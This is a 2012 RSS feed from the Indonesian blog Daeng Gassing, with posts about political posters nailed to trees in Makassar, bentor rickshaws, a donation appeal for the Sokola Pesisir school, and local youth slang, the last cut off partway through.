<?xml version="1.0" encoding="UTF-10"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Daeng Gassing &#187; Sekitarku</title>
	<atom:link href="http://daenggassing.com/category/sekitarku/feed/" rel="self" type="application/rss+xml" />
	<link>http://daenggassing.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 06:18:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Di Makassar, Pohon-Pohon Jadi Rebutan</title>
		<link>http://daenggassing.com/2012/02/di-makassar-pohon-pohon-jadi-rebutan/</link>
		<comments>http://daenggassing.com/2012/02/di-makassar-pohon-pohon-jadi-rebutan/#comments</comments>
		<pubDate>Thu, 09 Feb 2012 06:09:51 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Kamis]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Baliho]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Paku]]></category>
		<category><![CDATA[Pakui]]></category>
		<category><![CDATA[pilkada]]></category>
		<category><![CDATA[Pohon]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2348</guid>
		<description><![CDATA[Menjelang Pilkada yang meski masih setahun lagi, Makassar sudah sesak oleh spanduk, baliho besar maupun kecil yang berisi wajah-wajah sok akrab yang ingin mencalonkan diri jadi pemimpin. Beberapa di antaranya dengan sangat tega menempel wajah atau jargon mereka di pohon. Dengan paku tentu saja. Di bilangan jalan utama yang bernama Jl. Andi Pangerang Petta Rani [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2349" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00056_rez.jpg"><img class="size-full wp-image-2349" title="IMG-20120113-00056_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00056_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Pohon yang jadi korban</p></div>
<blockquote>
<h3><strong>Menjelang Pilkada yang meski masih setahun lagi, Makassar sudah sesak oleh spanduk, baliho besar maupun kecil yang berisi wajah-wajah sok akrab yang ingin mencalonkan diri jadi pemimpin. Beberapa di antaranya dengan sangat tega menempel wajah atau jargon mereka di pohon. Dengan paku tentu saja.</strong></h3>
</blockquote>
<p>Di bilangan jalan utama yang bernama Jl. Andi Pangerang Petta Rani berdesakan banyak sekali baliho, poster dan spanduk yang memajang wajah-wajah penuh senyuman. Di antara wajah-wajah itu ada tulisan, kebanyakan adalah janji manis, selebihnya adalah motivasi kalau mereka bisa memberikan yang terbaik untuk kota ini.</p>
<p>&nbsp;<br />
Setiap perempatan atau pertigaan pasti penuh dengan baliho super besar yang sangat menusuk mata. Karena semua ruang untuk pamer diri sudah penuh, maka beberapa orang kemudian memilih ruang lain yang masih tersisa. Adalah pohon yang kemudian jadi korban.</p>
<div id="attachment_2350" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00057_rez.jpg"><img class="size-full wp-image-2350" title="IMG-20120113-00057_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120113-00057_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Pohon lain yang jadi korban</p></div>
<p>Bukan hanya di seputaran jalan AP. Pettarani pohon-pohon terpilih jadi etalase untuk memasang wajah dan jargon itu, tapi di bilangan jalan lainnyapun banyak. Biasanya poster kecil seukuran 50x100cm itu dipasang di pohon-pohon dengan menggunakan paku. Jadilah pohon-pohon yang seharusnya jadi penyejuk kota dan mata itu berubah menjadi etalase wajah yang kadang malah bikin eneg.</p>
<p>&nbsp;<br />
Perlahan-lahan, wajah kota Makassar makin suram. Perempatan dan pertigaan jalan penuh dengan baliho besar, sementara pohon-pohonnya penuh dengan poster yang dipaku. Sungguh pemandangan yang sangat tidak nyaman. Orang menyebutnya sebagai polusi visual.</p>
<p>&nbsp;<br />
Beberapa waktu yang lalu kota Makassar dihebohkan dengan beberapa baliho besar yang mengusung <a href="http://daenggassing.com/2011/12/menebar-paku-di-jalanan-makassar/">jargon PAKUI</a>. Sebuah jargon yang aneh dan sama sekali tidak menarik simpati. Belakangan ini di beberapa titik di kota Makassar ada baliho baru yang bisa dibilang sebagai lawan dari baliho PAKUI itu. Penyebarannya memang belum banyak dan besarannyapun tidak sebesar baliho PAKUI itu, tapi sudah cukup lumayan menarik perhatian.</p>
<div id="attachment_2351" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00075_rez.jpg"><img class="size-full wp-image-2351" title="IMG-20120206-00075_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00075_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Baliho Ambo Tang</p></div>
<p>Baliho itu bergambar seorang lelaki tua berpakaian adat warna putih lengkap dengan sarung dan kopiah khas Bugis. Di bagian atasnya bertuliskan : <strong>Ranjau Paku Di Mana-Mana !!</strong> dan bagian bawahnya ada tulisan ; <strong>Relawan Pencabut Paku.</strong> Ada juga tulisan nama <strong>H. Ambo Tang?</strong> yang merupakan nama khas Bugis meski Tang juga bisa diasosiasikan sebagai tang yang kita gunakan untuk mencabut paku.</p>
<p>&nbsp;<br />
Saya kurang tahu apakah si bapak H. Ambo Tang itu juga berniat mencalonkan diri untuk jadi walikota atau gubernur, atau hanya sebagai sindiran untuk baliho PAKUI saja ?</p>
<div id="attachment_2352" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00076_rez.jpg"><img class="size-full wp-image-2352" title="IMG-20120206-00076_rez" src="http://daenggassing.com/wp-content/uploads/2012/02/IMG-20120206-00076_rez.jpg" alt="" width="600" height="450" /></a><p class="wp-caption-text">Stop Pakui Pohon</p></div>
<p>Sementara itu di bagian lain di Jl. AP Pettarani ada satu baliho kecil yang menarik perhatian saya. Sebuah baliho kecil yang mengusung jargon :<strong> STOP PAKUI POHON BOS,</strong> di bagian kanan atas ada tulisan : <strong>GERAKAN CABUT PAKU</strong> sementara di bagian bawah ada tulisan : <strong>BPP KPA SUL-SEL dan KOMITE PEMUDA PEMERHATI LINGKUNGAN.</strong></p>
<p>&nbsp;<br />
Dari data yang saya peroleh di Internet, BPP KPA Sul-Sel ini adalah sebuah perkumpulan remaja pecinta alam. Makanya terasa wajar bila mereka kemudian merasa geram dengan makin maraknya para politikus yang memanfaatkan pohon sebagai media etalase wajah mereka.</p>
<p>&nbsp;<br />
Begitulah, pohon-pohon di Makassar rupanya menjadi rebutan banyak pihak. Ada yang berebut memakunya dan memasang wajahnya ada juga yang berebut mencabut pakunya. Entah sampai kapan pohon-pohon di Makassar bisa bebas dari kepentingan politik. Tidak bisakah mereka membiarkan pohon-pohon itu tetap di sana menjalankan tugasnya sebagai penyejuk kota ?</p>
<p>&nbsp;<br />
Kami mau pohon kami kembali bersih, tanpa wajah mereka yang entah kenapa kadang bikin eneg.</p>
<div class="shr-publisher-2348"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F02%2Fdi-makassar-pohon-pohon-jadi-rebutan%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/02/di-makassar-pohon-pohon-jadi-rebutan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bentor ; Kendaraan Penguji Nyali</title>
		<link>http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/</link>
		<comments>http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/#comments</comments>
		<pubDate>Thu, 02 Feb 2012 03:11:13 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Kamis]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Bentor]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2330</guid>
		<description><![CDATA[Sekitar dua tahun belakangan ini sebuah moda transportasi baru masuk ke kota Makassar. Bukan transportasi massal memang karena maksimal hanya bisa memuat dua orang dewasa. Namanya Bentor, atau kadang disebut juga sebagai Bemor, gabungan antara becak dan motor. Saya mengenal moda transportasi ini untuk pertama kalinya sekitar tahun 2002, itupun dari cerita beberapa kawan yang [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2331" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/02/bentor1.jpg"><img class="size-full wp-image-2331" title="bentor1" src="http://daenggassing.com/wp-content/uploads/2012/02/bentor1.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Bentor sedang menunggu penumpang</p></div>
<blockquote>
<h3>Sekitar dua tahun belakangan ini sebuah moda transportasi baru masuk ke kota Makassar. Bukan transportasi massal memang karena maksimal hanya bisa memuat dua orang dewasa. Namanya <a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/">Bentor</a>, atau kadang disebut juga sebagai Bemor, gabungan antara becak dan motor.</h3>
</blockquote>
<p>Saya mengenal moda transportasi ini untuk pertama kalinya sekitar tahun 2002, itupun dari cerita beberapa kawan yang sedang bertugas di Gorontalo. Katanya di sana ada kendaraan umum yang merupakan perkawinan becak dan motor. Bagian depannya berbentuk becak sementara bagian belakangnya berbentuk motor. Namanya bentor.</p>
<p>Bertahun-tahun kemudian bentor kemudian masuk ke Makassar. Saya pertama melihatnya di daerah Antang. Waktu itu jumlahnya memang cuma beberapa buah, tapi lama-kelamaan kemudian bertambah banyak. Rupanya bentor masuk lebih dulu melalui kota-kota kabupaten di utara Makassar seperti Sidrap, Barru dan Pangkep.</p>
<p>Sekarang bentor sudah makin banyak. Di seputaran Makassar, khususnya di daerah pinggiran kota bagian utara dan timur, pangkalan bentor makin gampang ditemui. Perlahan-lahan bentor menyisihkan keberadaan ojek yang lebih dulu ada. Banyak tukang ojek yang terpaksa memodifikasi motor mereka dan mengawinkannya dengan becak agar menjadi bentor. Tentu saja ini jadi semacam tuntutan.</p>
<p>Makin banyak orang yang memilih <a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/">bentor</a> sebagai moda transportasi, khususnya untuk jalur yang tidak dilayani oleh transportasi umum seperti pete-pete. Keunggulan bentor adalah pada daya muatnya, karena ruang depannya berbentuk becak maka jelas bisa muat maksimal dua orang dewasa, atau satu orang dewasa plus beberapa barang yang biasanya adalah barang belanjaan. Ini jadi kelebihan bentor bila dibanding ojek.</p>
<p>Soal ongkos, bentor juga sedikit lebih mahal dari ojek. Sebagai perbandingan, dari daerah Antang ke Mall Panakkukang dengan jarak sekitar 4 KM, ongkos naik ojek paling mahal sekitar Rp. 10.000,- sedangkan dengan bentor sekitar Rp. 15.000,- . Bila bentor memuat dua orang, jelas harga ini jadi terasa murah. Orang juga banyak memilh menggunakan bentor yang ongkosnya lebih mahal dari pete-pete karena pertimbangan waktu tempuh. Bentor tidak perlu mengikuti rute khusus, persis seperti ojek.</p>
<p>Saya pernah bertanya kepada seorang supir bentor yang pernah saya tumpangi. Seorang lelaki muda dengan gaya masa kini. Rambut a la penyanyi K-Pop , kaos oblong dan celana skinny. Sayang saya lupa namanya. Dia masih baru jadi supir bentor, itupun katanya bentor yang dia bawa punya kakaknya yang kebetulan pulang ke Pangkep, sekitar 50KM sebelah utara kota Makassar.</p>
<p>Dalam sehari penghasilannya tidak menentu. Dia biasanya mangkal di jalan Boulevard, tidak jauh dari Mall Panakkukang yang jadi mall paling besar di timur kota Makassar. Bersama beberapa teman-temanya dia mangkal di sudut jalan, menunggu penumpang mulai dari pagi hingga larut malam.</p>
<h3>Bentor, masih tanpa ijin dan uji kelayakan</h3>
<p>Sayangnya sampai sekarang bentor belum dapat ijin trayek resmi dari pemerintah. Begitupula dengan uji kelayakan untuk keselamatannya. Beberapa waktu yang lalu dinas perhubungan kota Makassar pernah berniat menghapuskan bentor untuk sementara sampai uji kelayakan keluar. Rencana ini mendapat tentangan dari ratusan supir bentor yang berdemo di depan DPRD kota Makassar dan sampai sekarang rencana itu kembali mentah. Bentor masih berkeliaran dengan bebas, bahkan jumlahnya makin bertambah.</p>
<p>Belum adanya ijin dan uji kelayakan ini membuat bentor memang belum bisa dianggap sebagai sebuah kendaraan yang aman. Ini juga yang membuat bentor belum bisa masuk ke jalan-jalan protokol di kota Makassar.</p>
<p>Tidak semua orang suka naik bentor rupanya. Bentuknya yang menyerupai becak dengan kecepatan sebuah motor kadang membuat penumpang jadi tidak nyaman, seakan-akan duduk di kap sebuah mobil dan harus siap menjadi bemper kalau terjadi tabrakan. Itu belum ditambah dengan gaya menyupir yang ugal-uagalan, utamanya ketika macet. Para supir bentor kadang memaksakan bentornya untuk menerobos macet, lengkap dengan zig-zag-nya yang membuat penumpang ketar-ketir.</p>
<h3>Musik dan Alat Kampanye</h3>
<p>Suka atau tidak suka, bisnis <a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/">bentor</a> makin marak saat ini. Variasi bentorpun makin beragam. Beberapa bentor kemudian melengkapi diri dengan audio, meski kualitas suaranya memang lebih tepat disebut memekakkan telinga daripada membuat nyaman karena tentu saja tidak ada ruang yang cukup untuk memantulkan suara. Beda dengan audio yang terpasang pada mobil. Untuk pilihan lagu, biasanya berkutat antara lagu dangdut atau lagu house music, pokoknya yang terdengar meriah meski saya pernah juga mendapati sebuah bentor yang memutar <em>Soldier Of Fortune</em>-nya <em>Deep Purple.</em></p>
<p>Bentor juga ternyata bisa jadi alat kampanye. Di kawasan Borong Raya dan Antang banyak bentor yang berseliweran dengan stiker besar bertuliskan <strong>RUDAL COMMUNITY</strong>. Awalnya saya sempat bingung mencari arti dari tulisan itu. Ternyata <strong>RUDAL</strong> adalah akronim dari <strong>Rusdin Abdullah</strong>, seorang pengusaha lokal yang sedang meretas jalan menuju kursi walikota Makassar.</p>
<p>Jika anda berkunjung ke Makassar, khususnya di daerah pinggiran kota maka saya yakin anda akan menemukan banyak kendaraan yang mungkin terlihat aneh karena merupakan hasil perkawinan silang antara motor dan becak. Silakan kalau anda mau mencoba. Hanya saja memang perlu kekuatan dan keberanian lebih.</p>
<p>Karena bentor menurut saya memang kendaraan yang menguji nyali kita.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="bentor">bentor</a> (3)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="harga becak gorontalo">harga becak gorontalo</a> (3)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="komunitas tukang bentor">komunitas tukang bentor</a> (2)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="bentor makassar">bentor makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/" title="cara membuat bentor">cara membuat bentor</a> (1)</li></ul><div class="shr-publisher-2330"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F02%2Fbentor-kendaraan-penguji-nyali%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/02/bentor-kendaraan-penguji-nyali/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Mari Membantu Mereka Yang Telah Membantu</title>
		<link>http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/</link>
		<comments>http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 23:55:36 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Kamis]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Help Sokola Makassar]]></category>
		<category><![CDATA[HelpSokolaMks]]></category>
		<category><![CDATA[Sokola Pesisir]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2288</guid>
		<description><![CDATA[Sekola Pesisir atau Sokola Makassar, sebuah oase di tengah padang bagi warga pesisir Mariso. Selama 10 tahun mereka sudah membantu warga miskin kota di pesisir pantai Makassar untuk bisa mengenal huruf dan memiliki keterampilan. Sekarang mereka sedang kesulitan dan butuh bantuan kita. Namanya Habibie, tubuh jangkungnya dibalut kulit legam. Tampilannya agak sangar dengan rambut gondrong [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2289" class="wp-caption aligncenter" style="width: 589px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/Screenshot-Studio-capture-004.jpg"><img class="size-full wp-image-2289" title="Screenshot Studio capture #004" src="http://daenggassing.com/wp-content/uploads/2012/01/Screenshot-Studio-capture-004.jpg" alt="" width="579" height="383" /></a><p class="wp-caption-text">Sokola Pesisir Mariso</p></div>
<blockquote>
<h3>Sekola Pesisir atau Sokola Makassar, sebuah oase di tengah padang bagi warga pesisir Mariso. Selama 10 tahun mereka sudah membantu warga miskin kota di pesisir pantai Makassar untuk bisa mengenal huruf dan memiliki keterampilan. Sekarang mereka sedang kesulitan dan butuh bantuan kita.</h3>
</blockquote>
<p>Namanya Habibie, tubuh jangkungnya dibalut kulit legam. Tampilannya agak sangar dengan rambut gondrong sebahu. Tapi siapa yang sangka kalau hatinya sangat lembut. Habibie adalah salah satu relawan di Sekola Pesisir atau kadang disebut Sokola Makassar. Selama bertahun-tahun dia mengabdikan hidupnya bersama relawan lainnya membantu anak-anak dan warga pesisir Mariso untuk hidup lebih layak.</p>
<p>Sekolah Pesisir adalah sebuah oase, dia lahir di tengah-tengah pemukiman kumuh di pesisir pantai Makassar tidak jauh dari landmark kota ini, Pantai Losari. Awalnya mereka hanya ingin membantu anak-anak miskin yang tidak sempat bersekolah formal itu agar bisa mengenal huruf, membaca dan menulis. Perlahan-lahan mereka diterima dengan baik oleh warga di sana. Bukan hanya anak-anak kecil yang ikut larut bersama mereka tapi juga anak remaja dan bahkan orang tua yang dengan diam-diam meminta diajarkan tulis dan baca.</p>
<p>Mereka bukan cuma mengajarkan baca tulis, belakangan Sekola Pesisir mulai mengajarkan keterampilan. Komputer, photoshop, membuat kerajinan tangan, dan bahkan fotografi mereka ajarkan kepada anak-anak dan remaja itu. Berharap bisa menjadi bekal mereka untuk hidup lebih layak di masa depan.</p>
<div id="attachment_2290" class="wp-caption aligncenter" style="width: 510px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/habibie.jpg"><img class="size-full wp-image-2290" title="KONICA MINOLTA DIGITAL CAMERA" src="http://daenggassing.com/wp-content/uploads/2012/01/habibie.jpg" alt="" width="500" height="332" /></a><p class="wp-caption-text">Habibie, Salah satu relawan pengajar di Sokola Pesisir</p></div>
<p>Sekola Pesisir berdiri di atas tanah pinjaman milik seorang warga setempat. Bangunan dari kayu milik mereka adalah sumbangan dari Pertamina. Untuk operasional tiap bulan mereka mendapat bantuan dari Sokola pusat di Jakarta. Sekola Pesisir memang berafiliasi pada Sokola Rimba punya Butet Manurung. Selebihnya mereka memutar roda aktifitas dari sumbangan para sukarelawan.</p>
<p>&#8221; Selalu saja ada sumbangan yang bisa membuat kami bertahan hidup,&#8221; Kata Habibie.</p>
<p>Akhir tahun 2011 berita tidak mengenakkan menghampiri Sekola Pesisir. Pemilik tanah yang meminjamkan tanahnya berharap mereka bisa pindah secepatnya, sang pemilik ingin mengambil tanahnya kembali. Tak soal apa alasannya, toh itu memang haknya dia. Sekola Pesisir diberi waktu sampai bulan Mei 2012 untuk pindah dan mencari tempat baru.</p>
<p>Sekarang teman-teman dari Sekola Pesisir sedang meretas jalan mengumpulkan donasi untuk membiayai kepindahan mereka. Sempat terbetik niat untuk menutup sekolah itu, tapi warga setempat bersikeras agar mereka tidak pindah, mereka sudah terlanjur jatuh hati pada Sekola Pesisir yang sudah banyak membantu mereka selama ini.</p>
<p>Jaringan komunitas di Makassar sekarang ini sedang berusaha merapatkan barisan, melakukan segala macam cara untuk bisa membantu agar Sekola Pesisir tetap berdiri dan memberi manfaat untuk warga kurang mampu di pesisir Makassar itu.</p>
<p>Bagi anda yang berniat untuk mengulurkan tangan, ada banyak ragam cara. Di antaranya :</p>
<p><strong>Memberikan donasi sukarela kepada mereka melalui akun :</strong></p>
<blockquote>
<h3>BNI Cab. Mattoangin,</h3>
<h3>a.n. Andi Sulfiani qq Sokola Pesisir</h3>
<h3>no. 0243682214</h3>
</blockquote>
<p><strong>Menyumbangkan pakaian layak pakai anda yang nantinya akan dijual murah kepada masyarakat setempat dan hasil penjualannya akan ditabung untuk penggalangan dana sekolah mereka.</strong> Sumbangan pakaian layak pakai anda bisa diberikan langsung ke alamat</p>
<ul>
<li>Sokola Pesisir Mariso di Jl. Nuri lr. 300, no 131, Makassar (a.n <strong>Efi Sulfiani</strong> di 081355505895,?<strong>Habibi</strong>?di? 081242249056 dan <strong>Imran </strong>di 082190358797)</li>
<li>Kampung Buku, Komp. CV Dewi, Jl. Abd. Dg. Sirua 192E, Makassar (a.n Anwar Jimpe Rahman, 081342398338)</li>
</ul>
<p><strong>Membeli produk karya anak-anak Pesisir Mariso</strong> berupa kerajinan tangan, buku, foto, lukisan dan film. Info mengenai produk anak-anak Pesisir Mariso bisa menghubungi : <strong>Efi Sulfiani (081355505895)</strong></p>
<p><strong>Menyebarluaskan informasi ini</strong> ke sanak, kerabat, teman dan handai taulan lainnya.</p>
<p><strong>Memberitahu bos, pimpinan, direksi kantor tempat anda bekerja agar diikutkan kedalam program CSR kantor anda.</strong></p>
<p><strong>Turut hadir dan berpartisipasi pada acara penggalangan dana yang pelaksanaannya akan diumumkan dalam waktu dekat.</strong></p>
<p>Mari luangkan sedikit waktu, tenaga dan mungkin rejeki anda untuk ikut bersama-sama membantu Sekola Pesisir. Bantuan sekecil apapun akan sangat berarti bagi mereka, bagi warga kurang beruntung di pesisir Mariso.</p>
<p>Sekarang saatnya membantu mereka yang sudah membantu. Help Sokola Makassar</p>
<blockquote><p><em>?Tulisan lain tentang Sokola Pesisir bisa diklik di sini :</em></p>
<p><em>1.<a href="http://sekolahpesisir.wordpress.com/"> Sekolah Pesisir</a></em></p>
<p><em>2. <a href="http://radioholicz.com/ordinary-day/sekolah-pesisir-sekolah-kehidupan.html">Radioholicz.</a></em></p></blockquote>
<p>&nbsp;</p>
<p>[dG]</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/" title="sokola pesisir">sokola pesisir</a> (2)</li><li><a href="http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/" title="imran blog anak maksar">imran blog anak maksar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/" title="mereka yang butuh bantuan dana di makassar">mereka yang butuh bantuan dana di makassar</a> (1)</li><li><a href="http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/" title="sekolah pesisir">sekolah pesisir</a> (1)</li><li><a href="http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/" title="sokola rimba">sokola rimba</a> (1)</li></ul><div class="shr-publisher-2288"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2012%2F01%2Fmari-membantu-mereka-yang-telah-membantu%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2012/01/mari-membantu-mereka-yang-telah-membantu/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Bahasa Gaul Makassar ; Dari Pace Sampai Blender</title>
		<link>http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/</link>
		<comments>http://daenggassing.com/2012/01/bahasa-gaul-makassar-dari-pace-sampai-blender/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 16:00:12 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Kamis]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Makassar]]></category>
		<category><![CDATA[Sekitarku]]></category>
		<category><![CDATA[Bahasa Gaul]]></category>
		<category><![CDATA[makassar]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2263</guid>
		<description><![CDATA[Tiap daerah biasanya punya bahasa gaul sendiri. Ada yang lahir karena pengaruh budaya lokal, ada juga yang lahir sebagai resapan budaya kontemporer dari kota besar. Berikut adalah sebagian kecil bahasa gaul anak Makassar yang entah masih sering terpakai saat ini atau sudah mulai punah. Tiap daerah di Indonesia sepertinya punya bahasa gaul. Bahasa yang berkembang [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2264" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2012/01/IMG_1232.jpg"><img class="size-full wp-image-2264" title="_IMG_1232" src="http://daenggassing.com/wp-content/uploads/2012/01/IMG_1232.jpg" alt="Pantai Losari" width="600" height="400" /></a><p class="wp-caption-text">Pantai Losari</p></div>
<blockquote>
<h3>Tiap daerah biasanya punya bahasa gaul sendiri. Ada yang lahir karena pengaruh budaya lokal, ada juga yang lahir sebagai resapan budaya kontemporer dari kota besar. Berikut adalah sebagian kecil bahasa gaul anak Makassar yang entah masih sering terpakai saat ini atau sudah mulai punah.</h3>
</blockquote>
<p>Tiap daerah di Indonesia sepertinya punya bahasa gaul. Bahasa yang berkembang dari bahasa daerah ataupun serapan dari luar. Belakangan ini fenomena bahasa gaul sendiri semakin marak di Indonesia, penggunanya kebanyakan adalah anak-anak muda yang masih ABG atau komunitas-komunitas tertentu.</p>
<p>Menurut laman : <a href="http://bahasakita.com/2009/06/13/bahasa-gaul-dan-solidaritas-kaum-muda/">BahasaKita.com</a> :</p>
<blockquote><p>bahasa gaul sudah muncul sejak awal 70-an. Awalnya digunakan para <em>bromocorah</em> agar orang diluar komunitas mereka tidak mengerti, jadi mereka tidak perlu sembunyi-sembunyi jika membicarakan hal yang negatif. Lama kelamaan kebiasaan itu mulai ditiru oleh anak-anak remaja usia belasan tahun, bahkan menjadi semakin bervariatif kosakatanya misalnya kata <strong>saya</strong> yang dalam dialek jakarta atau betawi menjadi <strong>gue</strong> berubah menjadi <strong>ogut</strong> atau <strong>gout</strong>.</p></blockquote>
<p>Makassar juga punya bahasa gaul sendiri. Beberapa di antaranya berasal dari bahasa daerah yang berkembang menjadi bahasa sehari-hari lintas suku di kota Makassar dan beberapa di antaranya adalah serapan dari bahasa luar, termasuk bahasa Indonesia.</p>
<p>Berikut adalah beberapa contoh bahasa gaul anak Makassar.</p>
<p><strong>Pace, Mace dan Kace.</strong> Ketiga kata ini adalah bahasa gaul yang menggantikan kata Bapak, Ibu dan Kakak. Pace adalah singkatan dari : Papa Cerewet, Mace singkatan dari Mama Cerewet dan Kace adalah singkatan dari Kakak Cerewet. Entah kapan mulainya, yang jelas saya sudah mengenal bahasa ini sejak masa SMP sekitar awal tahun 90an dan sampai sekarang masih dipakai.</p>
<p><strong>Toloaaaa ( dibaca dengan A pajang di akhir kata </strong>). Istilah ini kurang lebih berarti : memangnya saya tolol ? Biasanya digunakan dalam percakapan ketika seseorang menyarankan sebuah hal bodoh kepada kita. Saya pertama mendengarnya sekitar pertengahan tahun 90an dan sekarang sudah sangat jarang digunakan lagi.</p>
<p><strong>Ces, Cika, Parner, Dekkeng .</strong> Tiga kata ini adalah kata sapaan. Cess diambil dari kata cs, umum dipakai dalam pergaulan anak muda di Indonesia. Cika&#8217; asal katanya dari Cikali atau sepupu dalam bahasa Makassar. Parner aslinya adalah partner, sedang Dekkeng berarti beking dalam bahasa Makassar. Bahasa ini biasanya digunakan oleh warga urban di pinggiran kota Makassar. Sekarang saya sudah jarang mendengarnya.</p>
<p><strong>Talekang.</strong> Kata ini mungkin hampir sama artinya dengan : ingin dipuji. Biasanya disematkan pada orang yang banyak gaya dan kelihatan memang ingin dipuji. Sepertinya kata ini adalah serapan dari bahasa Makassar, tale-telakang. Sampai sekarang masih banyak digunakan.</p>
